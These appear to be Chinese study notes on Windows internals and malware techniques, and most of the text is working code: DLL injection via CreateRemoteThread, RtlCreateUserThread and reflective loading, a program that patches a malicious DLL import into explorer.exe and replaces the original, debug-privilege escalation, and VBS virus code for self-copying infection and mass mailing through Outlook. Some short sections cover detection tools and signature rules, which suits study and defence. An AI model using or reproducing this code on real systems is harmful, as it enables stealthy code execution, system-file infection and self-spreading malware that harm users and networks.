1 Bit +0x244 ExitStatus : Int4B +0x248 NextPageColor : Uint2B +0x24a SubSystemMinorVersion : UChar +0x24b SubSystemMajorVersion : UChar +0x24a SubSystemVersion : Uint2B +0x24c PriorityClass : UChar +0x250 VadRoot : _MM_AVL_TABLE +0x270 Cookie : Uint4B
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 /* 思路,先通过EPROCESS找到PsActiveProcessLinks,然后遍历所有进程,进程名在ImageFileName */ #include <ntddk.h> NTSTATUS TraverseProcess() { UCHAR *eprocess = (UCHAR *)PsGetCurrentProcess();//获取了EPROCESS的指针 PsActiveProcessLinks在offset0x088处 LIST_ENTRY *pFirstEntry = (LIST_ENTRY *)((UCHAR *)eprocess + 0x88);//获取PsActiveProcessLinks的指针 LIST_ENTRY *activeList = pFirstEntry; UCHAR ImageFileName[16]; memset(ImageFileName, 0, sizeof(ImageFileName)); DbgPrint("address of EPROCESS : %X", eprocess); do { memcpy(ImageFileName, (UCHAR *)eprocess + 0x174, sizeof(ImageFileName)); DbgPrint("%s, %x, %x", ImageFileName,activeList->Flink,activeList->Blink); activeList = activeList->Flink;//寻址到下一个链表的表头 eprocess = (UCHAR *)activeList - 0x88; } while (pFirstEntry->Flink != activeList->Flink); return STATUS_SUCCESS; } void Unload(PDRIVER_OBJECT pDriverObject) { UNREFERENCED_PARAMETER(pDriverObject); DbgPrint("unloading..."); } NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObj, PUNICODE_STRING registryPath) { UNREFERENCED_PARAMETER(pDriverObj); UNREFERENCED_PARAMETER(registryPath); UNICODE_STRING success = RTL_CONSTANT_STRING(L"success"); UNICODE_STRING fail = RTL_CONSTANT_STRING(L"failed"); if (TraverseProcess()) { DbgPrint("%wZ", &success); } pDriverObj->DriverUnload = Unload; DbgPrint("%wZ", &fail); return STATUS_SUCCESS; }
# 线程
线程的创建其实和进程类似,也是建立起来线程的执行环境,比如分配线程所需要的数据结构和调用栈,完成这些数据结构的初始化操作。虽然这些操作比较于进程是很轻量级的,但是频繁创建和销毁也会是不可忽视的消耗。所以当需要频繁创建和销毁线程的时候,可以考虑线程池式的方式来解决消耗过大的问题。
进程中的多个线程执行的时候,是乱序的,即在某个时刻执行哪个线程,是不确定的,所以多线程的问题会比较难以调试。对于线程来说,是有用户态和内核态的区别,当进行线程切换的时候,如果线程是用户态,是需要切换为内核态的,这种切换也是需要耗费资源,不过目前随着硬件的发展,这部分切换的成本正在减少,所以,这部分的开销是可以接受的,大部分情况下,我们可以忽略线程的切换。
一个多线程程序有多个执行点,在多处理器的机器上,不同的线程会真的存在;而在单处理器的机器上,系统采用一种分时技术来将每个线程切割成较短的时间间隔,一个线程执行时便暂停其它线程,给每个线程一些处理时间,这些时间是非常短的,在用户看来就像是程序支持多线程操作。
因为有了多线程,所以我们可以一边听音乐,一边编辑文档,或是一边聊微信。
若一个程序不支持多线程,当用户执行一个操作,若有别的操作还在运行,程序便会出现无响应,程序不应该允许这种情况发生。
但是线程一旦共享资源就会出现同步问题,因为任何线程都会被其它线程中断,所以使用线程并不难,重点是是如何同步对象来安全的共享资源。
!teb 查看线程环境链
# 内核
对象是一种特殊的数据结构,用于定于受保护的实体。为了让系统高效稳定的运行,在 Windows 内核中空间中保存了多种不同的对象。例如:在用户层使用 CreateProcess 创建进程以后,Windows 系统就会在内核中创建一个进程对象用来保存进程的信息(进程名,PID 等等),有了这些信息 Windows 就可以方便的对进程进行管理。这些内核对象是保存在内核空间中的,用户层的程序是无法通过地址直接访问这些对象。想要访问这些内核对象,就需要使用 Windows 提供的句柄。在用户层如果想做什么样的操作,就可以通过句柄进行操作,因为在内核层会通过该句柄找到相应的内核对象完成操作。通过这样的设计,用户层的代码就无法直接内核层的数据,对重要的数据的一些关键操作就会由内核来完成,增强了系统的健壮性。
对象管理器是执行体的组件,主要管理执行体对象。但是,执行体对象也可能封装了一个或多个内核对象。因此,Windows 对象管理器的作用可以认为是对内核空间中多种多样的不同内核对象进行控制。
内核是从 0x80000000 开始 ,0x7fffffff 之前的是用户态空间
# 进程注入
Windows 平台下的进程注入技术一直以来都是一个被人深入研究的话题,并且目前已经拥有许多技术去将数据从一个进程注入到其他进程当中。恶意代码是最常用这种技术去进行敏感操作,以达到隐藏自身,绕过安全产品检测的目的。为了能够全面了解这项技术,曾经在某大会上所讨论的一个主题,该主题包含了尽可能所有的已知并且在当前环境 (Win10) 下可用的注入技术,并进行了总结
隐藏自身 隐藏敏感操作
CFG Windows 漏洞缓解措施,在 call eax 之前加个验证
call __security_init_cookie 防溢出
# CreateRemoteThread
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 DWORD dwSize = (lstrlenW(pszLibFile) + 1) * sizeof(wchar_t); // 获取传递进程ID的进程句柄 HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE,//目标进程的四个权限 FALSE, dwProcessId); // 在远程进程中为路径名分配空间 LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); // 将DLL的路径名复制到远程进程地址空间 //pszLibFile:要注入的dll的路径 pathname DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL); //在Kernel32.dll中获取LoadLibraryW的实际地址 PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW"); //创建一个调用LoadLibraryW(DLLPathname)的远程线程 // CreateRemoteThread(目标进程句柄,NULL,0,线程函数指针,线程函数参数,0,NULL) HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL); // 等待远程线程终止 WaitForSingleObject(hThread, INFINITE); // 释放包含DLL路径名的远程内存并关闭句柄 if (pszLibFileRemote != NULL) //开辟的内存已经注入进数据 VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE); //关闭线程和进程函数句柄 if (hThread != NULL) CloseHandle(hThread); if (hProcess != NULL) CloseHandle(hProcess); return(0); }
关键函数:
VirtualAllocEx
WriteProcessMemory
GetProcAddress
CreateRemoteThread
# RtlCreateUserThread 类型注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); LPVOID LoadLibraryAddress = (LPVOID)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW"); RtlCreateUserThread = (pRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread"); #ifdef _DEBUG wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)RtlCreateUserThread); wprintf(TEXT("[+] Found at 0x%08x\n"), (UINT)LoadLibraryAddress); #endif DWORD dwSize = (wcslen(pszLibFile) + 1) * sizeof(wchar_t); LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); BOOL bStatus = WriteProcessMemory(hProcess, lpBaseAddress, pszLibFile, dwSize, NULL); bStatus = (BOOL)RtlCreateUserThread( hProcess, NULL, 0, 0, 0, 0, LoadLibraryAddress, lpBaseAddress, &hRemoteThread, NULL); if (bStatus < 0) { wprintf(TEXT("[-] Error: RtlCreateUserThread failed\n")); return(1); } else { wprintf(TEXT("[+] Remote thread has been created successfully ...\n")); WaitForSingleObject(hRemoteThread, INFINITE); CloseHandle(hProcess); VirtualFreeEx(hProcess, lpBaseAddress, dwSize, MEM_RELEASE); return(0); } return(0); }
# 反射式 dll 注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 extern "C" HANDLE __stdcall LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter); DWORD demoReflectiveDllInjection(PCWSTR cpDllFile, DWORD dwProcessId) { HANDLE hFile = NULL;//创建的dll文件句柄 HANDLE hModule = NULL;//开辟的堆空间句柄 HANDLE hProcess = NULL;//目标进程句柄 LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; do { hFile = CreateFileW(cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); dwLength = GetFileSize(hFile, NULL); #ifdef _DEBUG wprintf(TEXT("[+] File Size: %d\n"), dwLength); #endif //为dll文件开辟堆空间 !!!!!!!!这是在自己的进程内存中 分配堆内存 lpBuffer = HeapAlloc(GetProcessHeap(), 0, dwLength); //将dll文件读进开辟的堆空间中 hfile--》lpbuffer if (ReadFile(hFile, lpBuffer, dwLength, &dwBytesRead, NULL) == FALSE) BREAK_WITH_ERROR("[-] Failed to alloc a buffer!"); //获得目标进程的句柄 hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId); // LoadRemoteLibraryR:在dll模块加载到内存时获取入口点,并且实现调用该函数(采用rtlcreateuserthread的方式)远程线程注入 hModule = LoadRemoteLibraryR(hProcess, lpBuffer, dwLength, NULL); WaitForSingleObject(hModule, -1); } while (0); //注入完毕,释放堆空间,关闭进程句柄 if (lpBuffer) HeapFree(GetProcessHeap(), 0, lpBuffer); if (hProcess) CloseHandle(hProcess); return 0; } //检查库是否有ReflectiveLoader // 获得dll文件的入口点偏移 dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpBuffer);//lpbuffer:堆内存的指针 指向存有dll文件的堆内存空间 // alloc memory (RWX) in the host process for the image... //为映像分配内存 lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // write the image into the host process... //将映像写入目标进程 /* BOOL WriteProcessMemory( HANDLE hProcess, LPVOID lpBaseAddress, 要写的内存首地址 LPVOID lpBuffer, 指向要写的数据的指针 DWORD nSize, LPDWORD lpNumberOfBytesWritten ); */ //将映像写入目标进程 lpRemoteLibraryBuffer 在目标进程中分配的内存空间 lpBuffer在该进程内存空间中分配的堆内存 // add the offset to ReflectiveLoader() to the remote library address... //lpRemoteLibraryBuffer 分配的内存地址 +dwReflectiveLoaderOffset 入口点偏移 lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset); // create a remote thread in the host process to call the ReflectiveLoader! //OutputDebugString("INJECTING DLL!"); //本身反射性dll 就隐蔽性高,自然不可以用createremoteprocess RtlCreateUserThread = (PRTL_CREATE_USER_THREAD)(GetProcAddress(GetModuleHandle(TEXT("ntdll")), "RtlCreateUserThread")); RtlCreateUserThread(hProcess, NULL, 0, 0, 0, 0, lpReflectiveLoader, lpParameter, &hThread, NULL); //lpReflectiveLoader 线程函数地址,dll入口函数地址 lpParameter 参数 WaitForSingleObject(hThread, INFINITE); //释放掉为dll映像分配的内存 VirtualFreeEx(hProcess, lpRemoteLibraryBuffer, dwLength, MEM_RELEASE); } while (0); } __except (EXCEPTION_EXECUTE_HANDLER) { hThread = NULL; } return hThread; }
用 FalconEye 实时检测 Windows 进程注入行为
FalconEye 是一款功能强大的 Windows 终端安全检测工具,可以帮助广大研究人员实时检测 Windows 进程注入行为。FalconEye 也是一个内核模式驱动工具,旨在实现实时的进程注入行为。由于 FalconEye 需要以内核模式运行,它可以提供一个强大可靠的安全防御机制来抵御那些尝试绕过各种用户模式钩子的进程注入技术。
FalconEye 驱动器是一种按需加载的驱动程序;
初始化包括通过 libinfinityhook 设置回调和 syscall 钩子;
回调维护从跨流程活动(如 OpenProcess)构建的 Pids 的映射,但不限于 OpenProcess;
随后的回调和 syscall 钩子使用这个 Pid 映射来减少处理中的噪声;
作为降噪的一部分,syscall 钩子可以过滤掉相同的进程活动;
检测逻辑分为多种子类,即无状态(例如:Atombombing)、有状态(Unmap+Overwrite)和浮动代码(多种技术实现的 Shellcode);
针对有状态的检测,syscall 钩子会记录一个 ActionHistory(历史活动),比如说,它会记录所有的 NtWriteVirtualMemory 调用;
检测逻辑具有常见的异常检测功能,如浮动代码检测和远程进程中 Shellcode 触发器的检测。回调和 syscall 钩子都会调用这个公共功能来进行实际检测;
项目来源 https://www.freebuf.com/articles/system/281129.html
# DLL 劫持
DLL 劫持指的是,病毒通过一些手段来劫持或者替换正常的 DLL,欺骗正常程序加载预先准备好的恶意 DLL。
如下图,LPK.dll 是应用程序运行所需加载的 DLL,该系统文件默认在 C:\Windows\system32 路径下,但由于 windows 优先搜索当前路径,所以当我们把恶意 LPK.dll 放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作。
没有对文件名做校验,没有对路径做校验,没有签名
检测 DLL 劫持漏洞方法:https://github.com/sensepost/rattler/releases
# 输入表感染
在 explorer.exe 中添加了 MyDLL.dll 的一个导出函数 MainFun,如果你想先看看效果可以先把附件下下来,把其中的 MyDLL.dll 放入环境变量 path 目录中,例如 system32 目录就可满足你的需要,然后运行 InfectImport.exe, 你会看到一个对话框 “MainFun 成功导入 explorer.exe”,因为我在 dll 被加载时启动了一个线程,然后输出这句话
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 #include <windows.h> #include <IMAGEHLP.H> #include <stdio.h> #pragma comment(lib,"IMAGEHLP.lib") //用来计算对齐数据后的大小 int alig(int size,unsigned int align) { if(size%align!=0) return (size/align+1)*align; else return size; } int main() { char WinPath[MAX_PATH]; char FilePath[MAX_PATH]; char NewPath[MAX_PATH]; char TemPath[MAX_PATH]; char LogPath[MAX_PATH]; FILE* fp; ::GetWindowsDirectory(WinPath,sizeof(WinPath)); //获取windows所在目录 ::memcpy(FilePath,WinPath,sizeof(WinPath)); ::memcpy(NewPath,WinPath,sizeof(WinPath)); ::memcpy(TemPath,WinPath,sizeof(WinPath)); ::memcpy(LogPath,WinPath,sizeof(WinPath)); ::strcat(FilePath,"\\explorer.exe"); //得到原文件路径 ::strcat(NewPath,"\\explorer1.exe"); //修改文件路径 ::strcat(TemPath,"\\temp.mainst"); //临时文件路径 ::strcat(LogPath,"\\log.dat"); //log文件路径,防止修改修改过的explorer.exe //拷贝原始文件,为修改做准备 ::CopyFile(FilePath,NewPath,false); ::CopyFile(FilePath,TemPath,false); fp=::fopen(LogPath,"r"); if(fp != NULL) { MessageBox(NULL,"explorer.exe已被修改过!","提示",MB_OK); return 1; } //打开需要修改的文件 fp=::fopen(NewPath,"rb+"); if(fp==NULL) { ::DeleteFile(NewPath); ::DeleteFile(TemPath); return 0; } //往explorer.exe中添加我们准备好的函数 LOADED_IMAGE img; HANDLE hFile; PUCHAR lpBaseAddr; PIMAGE_NT_HEADERS lpPEhead; PIMAGE_IMPORT_DESCRIPTOR lpImport,lpNewImport; ULONG ImportSize,NewImportSize; PIMAGE_SECTION_HEADER lpFirstSection; //保存文件对齐值与区块对齐值 int SECTION_ALIG; int FILE_ALIG; int fre=0; int i=0; int nOldSectionNo; DWORD NewSecRVA,NewOffset,ThunkRVA,ImportRVA; IMAGE_SECTION_HEADER NewSection;//要添加的区块 IMAGE_NT_HEADERS NewNThead; memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER)); IMAGE_SECTION_HEADER LastSection; //再定义一个区块,来保存原文件最后一个区块的信息 //对以下使用的函数如果不太熟悉的,可以看看与PE文件相关的函数 if(MapAndLoad("temp.mainst",WinPath,&img,false,false)) //获得PE文件相关数据 { hFile=img.hFile; lpBaseAddr=img.MappedAddress; lpPEhead=img.FileHeader; lpImport=(PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToData (lpBaseAddr,FALSE,IMAGE_DIRECTORY_ENTRY_IMPORT,&ImportSize); ImportSize=lpPEhead->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size; nOldSectionNo=lpPEhead->FileHeader.NumberOfSections; SECTION_ALIG=lpPEhead->OptionalHeader.SectionAlignment; FILE_ALIG=lpPEhead->OptionalHeader.FileAlignment; lpFirstSection=img.Sections; NewImportSize=ImportSize+sizeof(IMAGE_IMPORT_DESCRIPTOR); //获取最后一个节 memcpy(&LastSection,(PIMAGE_SECTION_HEADER)((DWORD)img.Sections+sizeof(IMAGE_SECTION_HEADER)*(nOldSectionNo-1)),sizeof(IMAGE_SECTION_HEADER)); //计算新节的RVA NewSecRVA=LastSection.VirtualAddress+alig(LastSection.Misc.VirtualSize,SECTION_ALIG); //计算新节的文件偏移 NewOffset=LastSection.PointerToRawData+alig(LastSection.SizeOfRawData,FILE_ALIG); //写入DLL名 fseek(fp,NewOffset,SEEK_SET); fre=sizeof("MyDLL.dll"); ::fwrite("MyDLL.dll",sizeof("MyDLL.dll"),1,fp); //准备IMAGE_IMPORT_BY_NAME结构 IMAGE_IMPORT_BY_NAME ImportFun; ImportFun.Hint=0; memcpy(ImportFun.Name,"MainFun",sizeof("MainFun")); DWORD ThunkData[2]; ThunkData[0]=NewSecRVA+fre; ThunkData[1]=0; //写入IMAGE_IMPORT_BY_NAME结构 fseek(fp,NewOffset+fre,SEEK_SET); fre+=sizeof("MainFun")+sizeof(WORD); ::fwrite(&ImportFun,sizeof("MainFun")+sizeof(WORD),1,fp); fseek(fp,NewOffset+fre,SEEK_SET); ThunkRVA=NewSecRVA+fre; fre+=sizeof(DWORD)*2; ::fwrite(ThunkData,sizeof(DWORD)*2,1,fp); ImportRVA=NewSecRVA+fre; //准备新导入表结构,用来写入新文件 lpNewImport=(PIMAGE_IMPORT_DESCRIPTOR)::malloc(NewImportSize); memset(lpNewImport,0,NewImportSize); memcpy(lpNewImport,lpImport,ImportSize); //在导入表尾部组织一个新的导入项 while(1) { if(lpNewImport[i].OriginalFirstThunk == 0 && lpNewImport[i].TimeDateStamp == 0 && lpNewImport[i].ForwarderChain == 0 && lpNewImport[i].Name == 0 && lpNewImport[i].FirstThunk == 0) { lpNewImport[i].Name=NewSecRVA; lpNewImport[i].TimeDateStamp=0; lpNewImport[i].ForwarderChain=0; lpNewImport[i].FirstThunk=ThunkRVA; lpNewImport[i].OriginalFirstThunk=ThunkRVA; break; } else i++; } fseek(fp,NewOffset+fre,SEEK_SET); fre += NewImportSize; fwrite(lpNewImport,NewImportSize,1,fp); ::free(lpNewImport); //文件对齐 int num=alig(fre,FILE_ALIG)-fre; for(i=0; i<num; i++) fputc('\0',fp); //添加名为.newsec的新节 strcpy((char*)NewSection.Name,".newsec"); NewSection.VirtualAddress=NewSecRVA; NewSection.PointerToRawData=NewOffset; NewSection.Misc.VirtualSize=alig(fre,SECTION_ALIG); NewSection.SizeOfRawData=alig(fre,FILE_ALIG); NewSection.Characteristics=0xC0000040; fseek(fp,((DWORD)lpFirstSection-(DWORD)lpBaseAddr)+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0); //写入新的节表 fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,fp); //更新第一块节表属性 //此处为我困惑的地方,为什么要把第一个节的属性设为0xE0000020 //这个结论我是从比较loadPE修改过的文件中得出的 //如果没有此处工作,修改后的文件无法正常运行 //希望高人能给我解答下 memcpy(&NewSection,lpFirstSection,sizeof(IMAGE_SECTION_HEADER)); NewSection.Characteristics=0xE0000020; fseek(fp,(DWORD)lpFirstSection-(DWORD)lpBaseAddr,SEEK_SET); fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,fp); memcpy(&NewNThead,lpPEhead,sizeof(IMAGE_NT_HEADERS)); int nNewImageSize=lpPEhead->OptionalHeader.SizeOfImage+alig(fre,SECTION_ALIG); NewNThead.OptionalHeader.SizeOfImage=nNewImageSize; NewNThead.OptionalHeader.DataDirectory[11].Size=0; NewNThead.OptionalHeader.DataDirectory[11].VirtualAddress=0; NewNThead.OptionalHeader.DataDirectory[12].Size=0; NewNThead.OptionalHeader.DataDirectory[12].VirtualAddress=0; NewNThead.FileHeader.NumberOfSections=nOldSectionNo+1; NewNThead.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress=ImportRVA; NewNThead.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size=NewImportSize; fseek(fp,(DWORD)(lpPEhead)-(DWORD)lpBaseAddr,SEEK_SET); //写入更新后的PE头 fwrite(&NewNThead,sizeof(IMAGE_NT_HEADERS),1,fp); fclose(fp); UnMapAndLoad(&img); } else { ::DeleteFile(NewPath); ::DeleteFile(TemPath); return 0; } //删除临时文件 ::DeleteFile(TemPath); //干掉explorer.exe ::rename(FilePath,TemPath); //让我们修改过后的替换掉explorer.exe ::rename(NewPath,FilePath); //创建日志文件,以免重复修改 fp=::fopen(LogPath,"w"); fclose(fp); //重新运行explorer ::system("taskkill /F /im explorer.exe"); ::system("explorer.exe"); return 1; }
# 进程特权
Windows 操作系统中许多操作都需要有对应的特权,特权也是一种非常隐蔽的留后门的方式。在 AD 域中,一些特权在 Default Domain Controller Policy 组策略中被授予给一些特殊的组,这些组的成员虽然不是域管,但如果被攻击者控制同样能给 AD 域带来巨大的风险
特权是一个用户或组在本地计算机执行各种系统相关操作(关闭系统、装载设备驱动程序、改变系统时间)的权限,特权与访问权限的区别如下:
特权控制账户对系统资源和系统相关任务的访问,而访问权限控制对安全对象(可以具有安全描述符的对象)的访问
系统管理员为用户或组指派特权,而系统根据对象的 DACL 中的 ACE 授予或拒绝对安全对象的访问,有时拥有特权可以忽略 ACL 的检查
Access Token,其中有一部分表示了该用户及该用户所属组所拥有的特权
通常我们会使用 whoami /priv 命令查看当前用户所拥有的特权,默认情况下大部分特权是禁用状态,在使用时需要启用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 BOOL GetDebugPrivilege() { BOOL status = FALSE; HANDLE hToken; if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) { TOKEN_PRIVILEGES tokenPrivs; tokenPrivs.PrivilegeCount = 1; if (LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tokenPrivs.Privileges[0].Luid)) { tokenPrivs.Privileges[0].Attributes = TRUE ? SE_PRIVILEGE_ENABLED : 0; if (AdjustTokenPrivileges(hToken, FALSE, &tokenPrivs, sizeof(tokenPrivs), NULL, NULL)) { status = TRUE; } } else wprintf(L"[!] LookupPrivilegeValueW error: %u when get debug privilege.\n", GetLastError()); CloseHandle(hToken); } else wprintf(L"[!] OpenProcessToken error: %u when get debug privilege.\n", GetLastError()); return status; }
# 恶意脚本快速分析
# vbs 脚本病毒
1 2 VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理: 以下是文件感染的部分关键代码:
1 2 3 4 5 6 7 8 9 Set fso=createobject ("scripting.filesystemobject" ) set self=fso.opentextfile(wscript.scriptfullname,1 ) vbscopy=self.readall set ap=fso.opentextfile(目标文件.path,2 ,true ) ap.write vbscopy ap.close set cop=fso.getfile(目标文件.path) cop.copy(目标文件.path & ".vbs" ) 目标文件.delete(true )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 { MD5: xxxxx { S1: Set fso=createobject("scripting.filesystemobject") S2: set self=fso.opentextfile(wscript.scriptfullname,1) //需要由action并且执行才能定义为病毒 { pf1=60 // 60 属于低危 } S3: .write S4: .close { pf1=80 // 60 + 80 } S5: 写,创建,拷贝 } }
检测 vbs 方法
1. 规则建模 + 机器学习
2. 机器学习中使用 ast 语法树
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 sub scan(folder_) on error resume next set folder_=fso.getfolder(folder_) set files=folder_.files for each file in filesext=fso.GetExtensionName(file) ext=lcase (ext) if ext="mp5" then Wscript.echo (file) end if next set subfolders=folder_.subfolders for each subfolder in subfolders scan( ) scan(subfolder) next end sub
一般感染随着服务加载的程序,用 pchunter 查看,做服务替换。感染服务器文件的 PE 节
上面的代码就是 VBS 脚本病毒进行文件搜索的代码分析。搜索部分 scan ( ) 函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs 脚本病毒通过网络传播的几种方式及代码分析
VBS 脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS 脚本病毒采用如下几种方式进行传播:
用 vbs 可以绕过 hips,作为桥接
1)通过 Email 附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的 Email 地址,最常见的就是直接取 outlook 地址簿中的邮件地址,也可以通过程序在用户文档(譬如 htm 文件)中搜索 Email 地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 Function mailBroadcast() on error resume next wscript.echo Set outlookApp = CreateObject ("Outlook.Application" ) //创建一个OUTLOOK应用的对象 If outlookApp= "Outlook" Then Set mapiObj=outlookApp.GetNameSpace ("MAPI" ) //获取MAPI的名字空间 Set addrList= mapiObj.AddressLists //获取地址表的个数 For Each addr In addrList If addr.AddressEntries.Count <> 0 Then addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数 For addrEntIndex= 1 To addrEntCount //遍历地址表的Email地址 Set item = outlookApp.CreateItem(0 ) //获取一个邮件对象实例 Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址 item.To = addrEnt.Address //填入收信人地址 item.Subject = "病毒传播实验" //写入邮件标题 item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!" //写入文件内容 Set attachMents=item.Attachments //定义邮件附件 attachMents.Add fileSysObj.GetSpecialFolder(0 ) & "\test.jpg.vbs" item.DeleteAfterSubmit = True //信件提交后自动删除 If item.To <> "" Then item.Send //发送邮件 shellObj.regwrite "HKCU\software\Mailtest\mailed" , "1" //病毒标记,以免重复感染 End If Next End If Next End if End Function
2)通过局域网共享传播
局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如 win2000 创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。
在 VBS 中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 welcome_msg = "网络连接搜索测试" Set WSHNetwork = WScript.CreateObject("WScript.Network") ’创建一个网络对象 Set oPrinters = WshNetwork.EnumPrinterConnections ’创建一个网络打印机连接列表 WScript.Echo "Network printer mappings:" For i = 0 to oPrinters.Count - 1 Step 2 ’显示网络打印机连接情况 WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1) Next Set colDrives = WSHNetwork.EnumNetworkDrives ’创建一个网络共享连接列表 If colDrives.Count = 0 Then MsgBox "没有可列出的驱动器。", vbInformation + vbOkOnly,welcome_msg Else strMsg = "当前网络驱动器连接: " & CRLF For i = 0 To colDrives.Count - 1 Step 2 strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1) Next MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg’显示当前网络驱动器连接End If
上面是一个用来寻找当前打印机连接和网络共享连接并将它们显示出来的完整脚本程序。在知道了共享连接之后,我们就可以直接向目标驱动器读写文件了。
3)通过感染 htm、asp、jsp、php 等网页文件传播
如今,WWW 服务已经变得非常普遍,病毒通过感染 htm 等文件,势必会导致所有访问过该网页的用户机器感染病毒。
